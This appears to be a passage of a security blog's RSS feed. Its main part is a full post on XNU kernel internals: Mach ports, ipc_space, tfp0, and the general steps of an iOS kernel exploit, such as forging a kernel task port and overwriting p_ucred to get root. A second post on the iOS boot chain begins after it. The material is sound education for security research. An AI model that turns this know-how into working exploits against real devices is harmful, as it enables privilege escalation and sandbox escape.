<li>Linus Henze, the CoreTrust root-anchor bug (CVE-2022-26766), documented on <a href="https://theapplewiki.com/wiki/CoreTrust_Root_Certificate_Validation_Vulnerability">The Apple Wiki</a>; the primitive behind TrollStore.</li>
<li>Quarkslab, <a href="https://blog.quarkslab.com/">&ldquo;Modern Jailbreaks&rsquo; Post-Exploitation&rdquo;</a>, for trust-cache injection (<code>inject_trusts</code>) and the amfid-patching history that CoreTrust ended.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">&ldquo;A Deep Dive into SPTM, TXM, and Exclaves&rdquo;</a> (2025), for TXM as the code-signing monitor and the <code>txm_kernel_call</code> path.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume III: Security &amp; Insecurity</em> (<a href="https://newosxbook.com">newosxbook.com</a>), the reference for AMFI, amfid, CoreTrust, trust caches, and provisioning profiles.</li>
</ul>]]></description>
    </item>
    <item>
      <title>XNU Under the Hood</title>
      <link>https://sigreturn.com/blog/xnu-under-the-hood/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/xnu-under-the-hood/</guid>
      <pubDate>Sun, 12 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>xnu</category>
      <category>mach</category>
      <category>bsd</category>
      <category>kernel</category>
      <category>capabilities</category>
      <description><![CDATA[<p><a href="/blog/ios-chain-of-trust/">The previous post</a> left an iPhone in a very specific state. The boot chain has verified and launched a kernelcache, and XNU is now running as the most privileged code on the application processor. That kernelcache is XNU and every kext the device needs, prelinked into one image and loaded by iBoot. This post takes that kernel apart.</p>
<p>The organizing question is simple. Everything a process does to the kernel, and everything an exploit does to escalate, converges on one capability: a handle, held in userland, that reads and writes kernel memory. In iOS folklore that handle is called tfp0. This article is the map of the concepts you cross to understand what tfp0 actually is, and why it is the objective every kernel exploit climbs toward.</p>
<p>To get there we need three things: what kind of kernel XNU is, how it represents authority, and how that representation produces (or denies) kernel read/write.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the Apple Platform Security documentation, and published research from Project Zero and others. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="not-a-microkernel-not-a-monolith">Not a microkernel, not a monolith</h2>
<p>XNU is a hybrid, and the word is doing real work. Its core is Mach, which owns inter-process communication, virtual memory, and scheduling. Bolted onto that is a BSD personality, which owns the POSIX surface: processes, the syscall table, the filesystem layer, sockets, and credentials. IOKit, the C++ driver runtime covered in a later post, and libkern round it out. All of it is linked into a single image, the kernelcache, running in one privileged address space at EL1, the kernel&rsquo;s privilege level.</p>
<p>The hybrid choice is a performance decision. BSD and IOKit could have been separate Mach servers reached by message passing, the way a true microkernel would arrange them. Instead they are co-located in kernel space and call each other by direct function call.</p>
<p>That decision has a consequence an attacker cares about. There is no internal privilege boundary between these subsystems below the guarded-monitor line that Apple added later: the Page Protection Layer (PPL), then the Secure Page Table Monitor (SPTM), both discussed near the end. A memory-safety bug in a niche IOKit driver or a BSD socket option corrupts the <em>same</em> heap that holds <code>ipc_port</code> objects and page tables, so a BSD bug regularly ends up as a Mach primitive.</p>
<p>The cleanest way to hold the hybrid in your head is to notice that many concepts have a Mach half and a BSD half of the same underlying thing:</p>
<table>
<thead>
<tr>
<th>Concept</th>
<th>Mach side</th>
<th>BSD side</th>
</tr>
</thead>
<tbody>
<tr>
<td>The process</td>
<td><code>task</code> (address space, ports, threads)</td>
<td><code>proc</code> (pid, credentials, file descriptors)</td>
</tr>
<tr>
<td>The thread of execution</td>
<td><code>thread</code> (the schedulable entity)</td>
<td><code>uthread</code> (syscall state)</td>
</tr>
<tr>
<td>The syscall table</td>
<td><code>mach_trap_table</code> (negative numbers)</td>
<td><code>sysent</code> (positive numbers)</td>
</tr>
<tr>
<td>The handle to a kernel object</td>
<td><strong>Mach port</strong>: <code>mach_port_name_t</code> into <code>ipc_space</code></td>
<td><strong>file descriptor</strong>: <code>int</code> into <code>p_fd</code></td>
</tr>
<tr>
<td>IPC</td>
<td><strong>Mach message</strong> (<code>mach_msg</code>)</td>
<td>sockets, pipes, signals</td>
</tr>
<tr>
<td>Virtual memory</td>
<td><code>vm_map</code>, <code>vm_object</code>, <code>pmap</code> (Mach owns it)</td>
<td><code>mmap</code>, <code>mprotect</code> (BSD uses it)</td>
</tr>
<tr>
<td>The security model</td>
<td><strong>capabilities</strong> (you can do what you hold)</td>
<td><strong>identity</strong> (<code>kauth_cred_t</code>: uid, MACF label)</td>
</tr>
</tbody>
</table>
<p>A process is both a <code>task</code> and a <code>proc</code>, linked by a back-pointer, and a syscall from EL0 lands in one of two dispatch tables depending on the sign of the syscall number. Two rows are worth reading carefully, because they answer a question people new to Mach always ask.</p>
<p><strong>A Mach port is the exact analogue of a file descriptor.</strong> Both are a small integer, valid only inside one process, that indexes a per-process table in the kernel and names a kernel object you never touch directly. You read and write a file through an <code>int</code>; you talk to a service, a task, or a driver through a <code>mach_port_name_t</code>. And like a file descriptor, a port is transferable: you hand a port to another process inside a Mach message, the same way you hand a file descriptor to another process with <code>SCM_RIGHTS</code> over a Unix socket.</p>
<p><strong>A Mach message is the analogue of writing to a socket or pipe,</strong> with one difference. A Mach message can carry port rights and out-of-line memory, not just bytes. Sending a message can transfer a capability. That is why the rest of iOS security is built on Mach IPC and not on the BSD socket layer.</p>
<h2 id="the-mach-half">The Mach half</h2>
<h3 id="tasks-and-threads">Tasks and threads</h3>
<p>A <code>task</code> is a container, not a schedulable thing. It owns an address space (<code>vm_map</code>), a port namespace (<code>ipc_space</code>), a set of threads, and a handful of special ports it starts life with. A <code>thread</code> is the schedulable entity inside a task: it carries register state and its own control port. Both live in dedicated kernel zones and, on modern hardware, are increasingly sequestered and pointer-signed.</p>
<p>For an attacker the <code>task</code> structure matters because it is the thing you eventually want to <em>forge</em>. A fake <code>task</code> you control, referenced by a port the kernel believes is a task control port, is a fake kernel task port. Hold that thought; it is where this section is going.</p>
<h3 id="ports-the-unit-of-authority">Ports: the unit of authority</h3>
<p>This is the center of the whole article, so it is worth going slowly.</p>
<p><strong>What a port is.</strong> A Mach port is an object inside the kernel, a <code>struct ipc_port</code>. At heart it is a message queue with an ownership and rights model attached. Userland never sees the object or its address. It sees only a <em>name</em>, a <code>mach_port_name_t</code>, which is a small integer valid inside the naming task. The port is the Mach analogue of the file descriptor from the table above, and everything a task is allowed to do it does by holding the right kind of port.</p>
<p><strong>How rights work.</strong> The authority is not the port, it is the <em>right</em> you hold to it. There are five kinds:</p>
<ul>
<li><strong>receive</strong>: unique, held by exactly one task, owns the message queue. Whoever holds the receive right <em>is</em> the service behind the port.</li>
<li><strong>send</strong>: a copyable capability to enqueue messages onto that queue.</li>
<li><strong>send-once</strong>: guarantees exactly one message, then is consumed. Reply ports use these.</li>
<li><strong>dead-name</strong>: what a right becomes when its port dies.</li>
<li><strong>port-set</strong>: a receive-side aggregation so one thread can block on many ports at once.</li>
</ul>
<p>The whole capability model is one sentence: <em>the right you hold decides what you are allowed to do.</em> Holding a send right to a service&rsquo;s port means you can talk to that service, nothing more. Holding the receive right means you are that service.</p>
<p><strong>How a name becomes an object.</strong> When you make a Mach call with a port name, the kernel translates that name to an <code>ipc_port</code> through your task&rsquo;s <code>ipc_space</code>, described in the next subsection. The important part here is that the translation is checked: the right type has to match, and a generation number has to match, so a stale name fails safely rather than pointing at whatever object reused the slot.</p>
<p><strong>Kobject ports: the bridge from IPC to the rest of the kernel.</strong> Most ports front a userland message queue. But some front a <em>kernel</em> object. When they do, the port&rsquo;s <code>io_bits</code> field carries a <strong>kobject type</strong>, one of a fixed set such as <code>IKOT_TASK_CONTROL</code>, <code>IKOT_THREAD_CONTROL</code>, <code>IKOT_HOST_PRIV</code>, or <code>IKOT_IOKIT_CONNECT</code>, and the <code>ip_kobject</code> field points at the real kernel object: a <code>task</code>, a <code>thread</code>, an IOKit user client. Helper functions like <code>convert_port_to_task(port)</code> check the kobject type in <code>io_bits</code>, then dereference <code>ip_kobject</code> and hand back the <code>task</code>. This is what turns &ldquo;I hold a port&rdquo; into &ldquo;I act on a kernel object.&rdquo;</p>
<p><strong>What ports are for, and the punchline.</strong> A task exercises all of its authority through ports. Its bootstrap port reaches launchd and, through it, other services. Its task self port lets it call the <code>mach_vm_*</code> family on its own address space. Its exception ports receive a thread&rsquo;s state when it faults. Its host port answers unprivileged queries, while the separate host-priv port gates privileged host RPCs.</p>
<p>And then the one that matters most. A send right to an <code>IKOT_TASK_CONTROL</code> port whose <code>ip_kobject</code> is the <em>kernel&rsquo;s own task</em> lets you call <code>mach_vm_read</code> and <code>mach_vm_write</code> against kernel memory. That single capability is kernel read/write from userland. It is tfp0, and the entire back half of this post is about it. So it comes down to one move: obtain that port, or forge something the kernel reads as that port.</p>
<p>Forging it is exactly the offensive angle. If you can make a <code>ipc_port</code> you control read back with <code>io_bits</code> set to <code>IKOT_TASK_CONTROL</code> and <code>ip_kobject</code> pointing at a <code>task</code> you also control, you have a fake kernel task port even when the real one is out of reach. On arm64e devices (A12 and later) <code>ip_kobject</code> and the entry pointers are PAC-signed (pointer authentication) with per-field discriminators, so you cannot simply copy a pointer in from elsewhere. That is a large part of why forging a port is hard today, and it is the subject of the later post on pointer authentication.</p>
<h3 id="ipc_space-a-tasks-table-of-capabilities">ipc_space: a task&rsquo;s table of capabilities</h3>
<p>Ports are the objects. <code>ipc_space</code> is where a task keeps its <em>names</em> for them, and it is as important as the ports themselves.</p>
<p><strong>What it is.</strong> An <code>ipc_space</code> is a task&rsquo;s port-name namespace: the per-task table that maps the port names userland sees to the real <code>ipc_port</code> objects in the kernel. It hangs off the task as <code>itk_space</code>. It is, precisely, the Mach counterpart of the file-descriptor table <code>p_fd</code>. Your authority as a task is the set of entries in your <code>ipc_space</code>. What you cannot name, you cannot touch.</p>
<p><strong>How it works.</strong> The space holds <code>is_table</code>, an array of <code>struct ipc_entry</code>. A 32-bit port name splits into two parts:</p>
<ul>
<li>an <strong>index</strong>, <code>MACH_PORT_INDEX(name) = name &gt;&gt; 8</code>, which slot in <code>is_table</code>,</li>
<li>a <strong>generation</strong>, <code>MACH_PORT_GEN(name) = (name &amp; 0xff) &lt;&lt; 24</code>, a counter used to detect stale names.</li>
</ul>
<p>Each <code>ipc_entry</code> carries <code>ie_object</code>, a pointer to the <code>ipc_port</code> (PAC-signed on arm64e), and <code>ie_bits</code>, which packs the right type in its low bits and the generation in its high bits. Resolving a name is therefore: take the index, look up <code>is_table[index]</code>, check that the generation in the name matches the generation in <code>ie_bits</code>, check the right type, then dereference <code>ie_object</code>. Every Mach call that takes a port name walks this path.</p>
<p><strong>What it implies.</strong> Two things, and both are load-bearing for exploitation.</p>
<p>The generation counter is the anti-stale-name mechanism. When a slot is freed and later reused for a different port, its generation is bumped, so an old name that carried the old generation no longer validates. It resolves to a <em>dead name</em> instead of silently aliasing the new port. Defeating that, by getting a name reused before the generation rolls over or by abusing a table-reallocation bug, is the classic <strong>stale port name</strong> primitive: an old name now resolves to a <em>different</em> port than the one it named, which is capability-level type confusion.</p>
<p>And <code>is_table</code> is an ordinary kernel-heap object whose size and placement in the heap an attacker can influence by allocating ports. Corrupting an <code>ie_object</code> pointer means a name now resolves to an <code>ipc_port</code> you control, and from there you are back to forging a kobject port, a fake task port, and tfp0.</p>
<h4 id="aside-walking-a-live-ipc_space-in-lldb">Aside: walking a live ipc_space in lldb</h4>
<p>If you have a kernel debugger on a jailbroken device or in Corellium, you can watch the whole chain with your own eyes, which is the fastest way to make it concrete. The walk is task, then space, then table, then entries, then the port, then its kobject type:</p>
<pre><code>(lldb) p (task_t)current_task()
(task_t) $0 = 0xffffffe0...

(lldb) p $0-&gt;itk_space
(ipc_space_t) $1 = 0xffffffe0...

# the table and its current size
(lldb) p $1-&gt;is_table
(lldb) p $1-&gt;is_table_size

# entry N: its ie_bits (right type + generation) and the port it names
(lldb) p $1-&gt;is_table[N].ie_bits
(lldb) p (ipc_port_t)$1-&gt;is_table[N].ie_object

# follow the port to its kobject type in io_bits
(lldb) p ((ipc_port_t)$1-&gt;is_table[N].ie_object)-&gt;ip_object.io_bits
</code></pre>
<p>Read the kobject-type bits of <code>io_bits</code> and you can tell, entry by entry, which name is your task self port, which is the host port, and so on. Do the same walk against a port you should not have, and a receive-versus-send right or a kobject type that does not belong is exactly the kind of thing that tells you a bug worked.</p>
<h3 id="the-rest-of-the-mach-machinery">The rest of the Mach machinery</h3>
<p>The remaining Mach pieces matter but do not need the same depth here, because later posts own them.</p>
<p><strong>Virtual memory</strong> underlies every memory bug. Per task there is a <code>vm_map</code>, a sorted set of <code>vm_map_entry</code> ranges, each backed by a <code>vm_object</code> that owns physical pages, with <code>pmap</code> holding the architecture page tables. Two details recur in exploitation: <code>vm_map_copy</code>, the transient object created to carry out-of-line message data, is a favorite heap-spray and disclosure primitive; and <code>pmap</code> is the object the page-table monitors (PPL, then SPTM) exist to protect, which is why a VM bug that reaches <code>pmap</code> is worth more than one that does not.</p>
<p><strong>Mach traps</strong> are the raw entry points. <code>mach_trap_table</code> is indexed by <em>negated</em> syscall numbers from EL0. The entries you drive constantly in an exploit are the <code>_kernelrpc_*</code> primitives (<code>mach_port_allocate</code>, <code>mach_port_insert_right</code>, <code>mach_port_mod_refs</code>, <code>mach_vm_allocate</code>, and friends) and <code>mach_msg2_trap</code>, the modern consolidated message path. These are reachable from almost any sandbox, which is what makes them the core surface of nearly every escalation.</p>
<p><strong>Zones</strong> are the allocator. <code>zalloc</code> slices pages into fixed-size elements of one kind, with dedicated zones for hot types such as <code>ipc.ports</code>. This is where an exploit lines up its objects in memory, and the later post on building a read/write primitive lives here.</p>
<p><strong>Messages</strong> are what flows through ports. <code>mach_msg2</code> copies a user message into an <code>ipc_kmsg</code> and processes its typed descriptors, including port-right transfers and out-of-line memory. The message path is one of the densest bug surfaces in the kernel, but it is the subject of the dedicated IPC post, so here it is enough to know that a port without messages does nothing, and that the descriptor-handling code is where the interesting lifetime bugs live.</p>
<h2 id="the-bsd-half">The BSD half</h2>
<p>The BSD side is where identity lives, and identity is what you eventually rewrite.</p>
<p><strong>Syscalls</strong> dispatch through <code>sysent</code>, indexed by the positive syscall numbers, the mirror image of the Mach trap table.</p>
<p><strong><code>struct proc</code></strong> is the process from BSD&rsquo;s point of view: <code>p_pid</code>, the file-descriptor table <code>p_fd</code>, a back-pointer to the <code>task</code>, and, most importantly, <code>p_ucred</code>, the pointer to its credentials.</p>
<p><strong>Credentials</strong> are a <code>kauth_cred_t</code>, holding the familiar <code>cr_uid</code> and group set, and a field that matters more on iOS than the uid does: <code>cr_label</code>, the slot for the Mandatory Access Control Framework (MACF), the kernel hook layer that AMFI (Apple Mobile File Integrity) and the sandbox plug into as policy modules to hang their per-process policy, covered in the next two posts. Credentials are reference-counted and copy-on-write. The offensive beat here is direct: once you have kernel read/write, patching your process&rsquo;s <code>p_ucred</code> to point at the kernel process&rsquo;s credentials makes you root, and editing the MACF label sheds the sandbox and grants entitlements. This, not a shellcode payload, is the canonical thing an iOS kernel exploit <em>does</em> with its read/write.</p>
<p><strong>VFS, sockets, and kauth</strong> round out the surface. They are lower-glamour but reach the same heap. The archetype is SockPuppet (Ned Williamson, CVE-2019-8605): a use-after-free in a BSD socket option, whose exploitation is pure Mach-port heap craft. A BSD bug, turned into a Mach primitive, on the shared heap.</p>
<h2 id="tfp0-the-objective">tfp0: the objective</h2>
<p>Now the payoff.</p>
<p><code>tfp0</code> is read &ldquo;task-for-pid-zero.&rdquo; <code>task_for_pid(pid)</code> is a Mach trap that returns a send right to that process&rsquo;s task <em>control</em> port. Pid 0 is <code>kernel_task</code>, the kernel&rsquo;s own task. So <code>task_for_pid(0)</code> returns a send right to the kernel task port, and holding that right lets you call <code>mach_vm_read</code> and <code>mach_vm_write</code> on the kernel task, whose address space <em>is</em> kernel memory. That is arbitrary kernel read/write from userland, through ordinary, documented Mach APIs.</p>
<p><strong>tfp0 is a capability, not a technique.</strong> It is not a bug and not an exploitation method. It is the prize an exploit produces: the stable kernel read/write primitive, expressed as a Mach port. The bug and the work to exploit it are the technique; tfp0 is what you build with them. People call it a &ldquo;primitive,&rdquo; but in the sense of &ldquo;the kernel read/write primitive you are aiming for,&rdquo; not a step in the attack.</p>
<p><strong>The name is now generic.</strong> On modern iOS you almost never get the kernel task by literally calling <code>task_for_pid(0)</code>; Apple restricted that path and it no longer hands the kernel task port to userland. Instead an exploit <em>forges</em> a fake kernel task port, a port the kernel reads as <code>IKOT_TASK_CONTROL</code> over a <code>task</code> the attacker controls, as described in the ports section. The capability is the same; only the way you obtain it changed. So &ldquo;tfp0&rdquo; has drifted into a generic term meaning &ldquo;obtain the kernel task,&rdquo; whatever the actual mechanism. When someone says a chain &ldquo;gets tfp0,&rdquo; they mean it reaches userland kernel read/write, not that it called a particular trap.</p>
<p><strong>The APIs are not exotic.</strong> <code>mach_vm_read(task, addr, size, ...)</code> reads bytes from a task&rsquo;s address space, and <code>mach_vm_write(task, addr, data, ...)</code> writes them. These are the same calls a debugger uses: lldb attaches to a process by taking its task port and then reads and writes the debuggee&rsquo;s memory with exactly these functions. tfp0 is that mechanism pointed at <code>kernel_task</code>. All of the power comes from <em>which</em> task the port names, a task you were never supposed to be able to name, and none of it from anything unusual in the API.</p>
<p><strong>Read, write, and why you need both.</strong> Not all primitives are equal, and it is worth being precise about the ladder, because a &ldquo;read capability&rdquo; and full read/write are very different things:</p>
<table>
<thead>
<tr>
<th>Primitive</th>
<th>What you can do</th>
<th>What it gives you</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read only (an info leak)</td>
<td>read kernel memory</td>
<td>knowledge: defeat KASLR (kernel address randomization), locate <code>p_ucred</code>. You change nothing, so this is reconnaissance, not control.</td>
</tr>
<tr>
<td>Write only</td>
<td>write kernel memory</td>
<td>the ability to change things, but writing blind is useless without a read to tell you where.</td>
</tr>
<tr>
<td>Read and write (tfp0)</td>
<td>read and write anywhere</td>
<td>action: read to locate <code>p_ucred</code>, write to overwrite it. This is game over.</td>
</tr>
</tbody>
</table>
<p>A simple read capability tells you <em>where</em> things are. Only a write lets you <em>act</em>. tfp0 is the objective precisely because it packages both, arbitrarily and stably through <code>mach_vm_*</code>, rather than as a fragile one-shot you have to keep re-triggering. Turning a limited primitive into full read/write, upgrading a relative read or a single write-what-where into clean arbitrary access, is a craft of its own, and it is the subject of a later post; here the point is only to understand what the finished capability is.</p>
<h2 id="the-shape-of-a-kernel-exploit">The shape of a kernel exploit</h2>
<p>With the vocabulary in place, almost every iOS kernel exploit reads as the same arc:</p>
<ol>
<li>a memory-safety bug gives limited control (an out-of-bounds write, a use-after-free, a refcount error);</li>
<li>controlled reallocation reclaims the freed or adjacent memory with attacker bytes;</li>
<li>that memory is type-confused into a kobject port or a disclosable <code>vm_map_copy</code>;</li>
<li>which yields arbitrary read/write, a userland kernel task port, tfp0;</li>
<li>which patches <code>p_ucred</code> and the MACF label, and the process is now root and out of its sandbox.</li>
</ol>
<p>Two historical bugs show the pattern cleanly. Brandon Azad&rsquo;s voucher_swap (CVE-2019-6225) freed an <code>ipc_voucher</code> through a reference-counting error in MIG (the Mach Interface Generator, which auto-writes the code that unpacks Mach messages for kernel services), then reallocated it as a port array and rode the dangling port to a fake task port: the archetype of &ldquo;refcount bug to kernel read/write.&rdquo; Ian Beer&rsquo;s &ldquo;task_t considered harmful&rdquo; was not memory corruption at all but a design-level capability confusion, where passing task ports across a privilege boundary let a caller confuse which task a kobject port referred to. Both are capability confusions, not memory corruption, which is why this post spent its length there.</p>
<h2 id="what-changed-by-2026">What changed by 2026</h2>
<p>The abstractions above are stable; the exploitation economics inverted. The details belong to later posts, but the headline changes are worth naming so the model above is not read as current-year-easy.</p>
<p>Control ports such as the task self port are now <em>immovable</em> and <em>pinned</em>, so the old tricks that swapped or freed a task&rsquo;s own control port fault instead. Reference counts moved to the hardened <code>os_refcnt</code> framework, which saturates and panics rather than wrapping, closing the overflow-to-use-after-free class. <code>mach_port_guard</code> lets a holder bind a context to a port so unexpected operations fault.</p>
<p>Bigger still, and covered in the mitigations posts: <code>kalloc_type</code> (iOS 15) segregates the heap by type signature, so a freed object can only be reclaimed by types that share its signature, which breaks the generic &ldquo;reallocate the freed slot as an <code>ipc_port</code>&rdquo; move that step 2 above relied on. On A15 and later, SPTM and TXM (the Trusted Execution Monitor) took page tables and code-signing out of XNU entirely, so even a full kernel read/write can no longer rewrite page tables or forge a code-signing verdict. On A19, Memory Integrity Enforcement makes many linear overflows and use-after-frees synchronously fatal. tfp0 is now the start of the hard part, not the end of it.</p>
<h2 id="hands-on-reading-the-structures-out-of-the-kernelcache">Hands-on: reading the structures out of the kernelcache</h2>
<p>The previous post pulled a kernelcache apart the long way, through the Image4 container. To just get one open in a disassembler, <code>ipsw</code> downloads and decompresses it in a single command, without fetching the whole IPSW:</p>
<pre><code class="language-bash">ipsw download ipsw --device iPhone10,3 --version 15.0 --kernel
# writes a decompressed arm64 Mach-O under a build-named folder, e.g.
# 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6

file 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6
# Mach-O 64-bit executable arm64
</code></pre>
<p>iPhone10,3 is an A11, so this image is plain <code>arm64</code>, not <code>arm64e</code>, and the pointer fields you will see are not PAC-signed. That is useful for a first read: you get the raw layout without the signing, and the pointer authentication that wraps these same fields on A12 and later is what the later PAC post adds on top.</p>
<p>Open the file in a disassembler with arm64 support. On macOS that means Hopper, Ghidra, or IDA Pro; note that the IDA Home tier is x86-only and will not load it. Point it at the whole kernelcache (kernel plus all kexts) and let the analysis finish.</p>
<p>A release kernelcache carries almost no symbol names, so recover them before anything else. <code>ipsw kernel sym</code>, paired with blacktop&rsquo;s <code>symbolicator</code> signatures, rebuilds most of them and writes a JSON you apply with the matching script for Ghidra, IDA Pro, Binary Ninja, or radare2; IDA users also have the older <code>ida_kernelcache</code>. With names back, the functions and tables below are one jump away.</p>
<p>Work through four things:</p>
<p><strong>1. The syscall gates.</strong> Two dispatch tables sit at the front of the kernel: <code>mach_trap_table</code> (Mach traps, reached from EL0 as negative syscall numbers) and <code>sysent</code> (the BSD syscalls, positive numbers). <code>ipsw</code> dumps the BSD table in full, each entry with its number, handler, argument count, and C prototype:</p>
<pre><code class="language-bash">ipsw kernel syscall kernelcache.release.iPhone10,3_6
</code></pre>
<p><img alt="The BSD syscall table (sysent) dumped by ipsw: each entry's number, handler address, argument count, and prototype" src="syscall-table.png" loading="lazy" decoding="async" width="3018" height="1836"></p>
<p><code>mach_trap_table</code> is the Mach-side parallel. In the disassembler it sits at its symbol as a raw array of <code>{ argument count, handler pointer }</code> entries, entry zero being the reserved <code>kern_invalid</code> trap.</p>
<p><strong>2. Port to kernel object.</strong> Decompile any member of the <code>convert_port_to_*</code> family; <code>convert_port_to_map_with_flavor</code> is a clean one. You see the shape the kobject bridge always takes: it reads the port, checks a type byte, dereferences the kernel object behind it (the <code>ip_kobject</code>), and acts on it. This one even panics with a <code>userspace has access to a kernel map ... through task</code> warning when that object turns out to be the kernel&rsquo;s own map, which is a fair reminder of what these ports gate.</p>
<p><img alt="convert_port_to_map_with_flavor decompiled in Ghidra: it reads the port, checks a type byte, dereferences the kernel object, and warns when that object is the kernel map" src="ipc-port.png" loading="lazy" decoding="async" width="1394" height="1186"></p>
<p><strong>3. The name lookup.</strong> Decompile <code>ipc_right_lookup_read</code>, the routine that resolves a port name for a read. It walks the exact path from the <code>ipc_space</code> section: the name is shifted right by 8 for the table index (<code>param_2 &gt;&gt; 8</code>), that index scaled by the <code>ipc_entry</code> size (<code>* 0x18</code>) picks the slot in <code>is_table</code>, and each entry holds <code>ie_object</code> at offset 0 and <code>ie_bits</code> (the right type and generation) at <code>+ 8</code>.</p>
<p><img alt="ipc_right_lookup_read decompiled in Ghidra: the port name shifted right by 8 for the table index, scaled by the ipc_entry size, resolving to the entry's ie_object and ie_bits" src="ipc-entry.png" loading="lazy" decoding="async" width="1256" height="1478"></p>
<p><strong>4. Where identity lives.</strong> The last piece is the write target. <code>struct proc</code> holds <code>p_ucred</code>, a <code>kauth_cred_t</code> carrying <code>cr_uid</code> and the <code>cr_label</code> that AMFI and the sandbox hang their per-process policy on. That credential is what a kernel read/write overwrites at the end of a chain: patch <code>p_ucred</code> to a privileged cred and the process is root and out of its sandbox, the concrete form of the BSD-half point from earlier. The <code>kauth_cred_*</code> accessors that symbolication turns up read the very fields you would change.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>The kernel is now a concrete object rather than a name. It is a Mach and BSD hybrid in one address space; authority is held as ports and named through <code>ipc_space</code>; and the objective every escalation shares is a single capability, tfp0, a userland handle to kernel read/write that you obtain today by forging the kernel task port rather than by asking for it.</p>
<p>That capability is only interesting because of what it is allowed to overwrite, and the next posts are about the machinery that decides. The MACF label we just met inside <code>p_ucred</code> is where the following article starts: the framework that decides, at every <code>exec</code>, what is even allowed to run, and how AMFI, code signing, and trust caches hang off it.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, and published research.</p>
<ul>
<li>Apple&rsquo;s open-source <a href="https://github.com/apple-oss-distributions/xnu">XNU</a> is ground truth for every structure and macro named above: <code>osfmk/ipc/ipc_port.h</code>, <code>ipc_object.h</code>, <code>ipc_entry.h</code>, <code>osfmk/kern/syscall_sw.c</code> (the trap table), <code>osfmk/kern/ipc_kobject.c</code> (the <code>convert_port_to_*</code> helpers and the manual PAC of <code>ip_kobject</code>), and <code>osfmk/kern/kalloc.c</code> / <code>zalloc.c</code>.</li>
<li>Jonathan Levin, <em>OS Internals, Volume II: Kernel Mode</em> (<a href="https://newosxbook.com">newosxbook.com</a>), is the reference for the Mach and BSD structures, trap tables, and zone allocator.</li>
<li>Brandon Azad, <a href="https://googleprojectzero.blogspot.com/2019/08/voucher-swap-exploiting-mig-reference.html">&ldquo;Voucher swap: exploiting MIG reference counting in iOS 12&rdquo;</a> (Project Zero, CVE-2019-6225), and <a href="https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html">&ldquo;A survey of recent iOS kernel exploits&rdquo;</a> map the port and zone primitives named here.</li>
<li>Ian Beer, <a href="https://googleprojectzero.blogspot.com/2016/10/taskt-considered-harmful.html">&ldquo;task_t considered harmful&rdquo;</a> (Project Zero), is the capability-confusion case study, and the <code>mach_portal</code> / <code>async_wake</code> writeups established the port-spray playbook.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/towards-the-next-generation-of-xnu-memory-safety/">&ldquo;Towards the next generation of XNU memory safety: kalloc_type&rdquo;</a>, for the heap-segregation change that reshaped step 2 of the exploit arc.</li>
</ul>]]></description>
    </item>
    <item>
      <title>The iOS Chain of Trust</title>
      <link>https://sigreturn.com/blog/ios-chain-of-trust/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/ios-chain-of-trust/</guid>
      <pubDate>Sat, 11 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>apple</category>
      <category>secure-boot</category>
      <category>image4</category>
      <category>checkm8</category>
      <category>boot-chain</category>
      <description><![CDATA[<p>Turn on an iPhone and within a few milliseconds it is running an operating-system kernel signed by Apple. The flash storage that holds that kernel is writable, and the USB port is right there, so in principle an attacker who can change the bytes on disk should be able to boot their own code. In practice they cannot, because the device runs a sequence of signature checks that begins in the SoC and continues until the kernel is loaded. Each stage checks the signature of the next before running it.</p>
<p>This post follows that sequence in reverse, from the part an attacker cannot modify up to the kernel, looking at what each stage checks before it trusts the next.</p>
<div class="admonition note">
<p>Everything in this article is public: Apple&rsquo;s Platform Security documentation, the Image4 format as implemented by open-source tooling, and the checkm8 research from 2019. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="the-problem-a-root-of-trust">The problem: a root of trust</h2>
<p>Verification like this is circular unless it ends somewhere. The kernel is trusted because iBoot checked its signature, iBoot because an earlier stage checked its signature, and so on down. Either that regress continues forever or it stops at something the device trusts without checking. That something is the root of trust. For it to be useful it has to meet two conditions: an attacker must not be able to modify it, and it must hold the reference value that every later check compares against.</p>
<p>The chain provides two separate guarantees, and they defend against different things. Integrity means that at each stage, only code signed by Apple runs. Anti-downgrade means the device will not accept an older signed version whose bugs are already public. Integrity prevents booting an unsigned kernel. Anti-downgrade prevents reinstalling an old iBoot to reuse a vulnerability Apple has since fixed.</p>
<h2 id="the-anchor-boot-rom">The anchor: Boot ROM</h2>
<p>The root of trust is the first code the Application Processor runs when it leaves reset. Apple calls it the Boot ROM. Most people who study it call it SecureROM, the name that appears as a string inside the code itself. It is read-only memory written when the chip is fabricated, and it contains a small amount of code plus the Apple Root CA public key.</p>
<p>The Boot ROM uses that key to verify that the next stage was signed by Apple before running it. Because the memory is read-only, neither the key nor the code can be changed after fabrication. That is what lets the Boot ROM serve as the anchor: if it could be modified, an attacker could modify it, and it would then verify the attacker&rsquo;s code as readily as Apple&rsquo;s.</p>
<p>The same property has a cost. A bug in later code can be patched; a bug in the Boot ROM cannot, because read-only silicon cannot be updated in the field. checkm8, later in this post, is an example.</p>
<h2 id="the-stages-one-link-at-a-time">The stages: one link at a time</h2>
<p>Trust is passed up from the anchor one stage at a time, following the same rule throughout: a stage verifies the signature on the next stage before transferring control to it. A valid signature at the bottom therefore vouches for the entire sequence above it.</p>
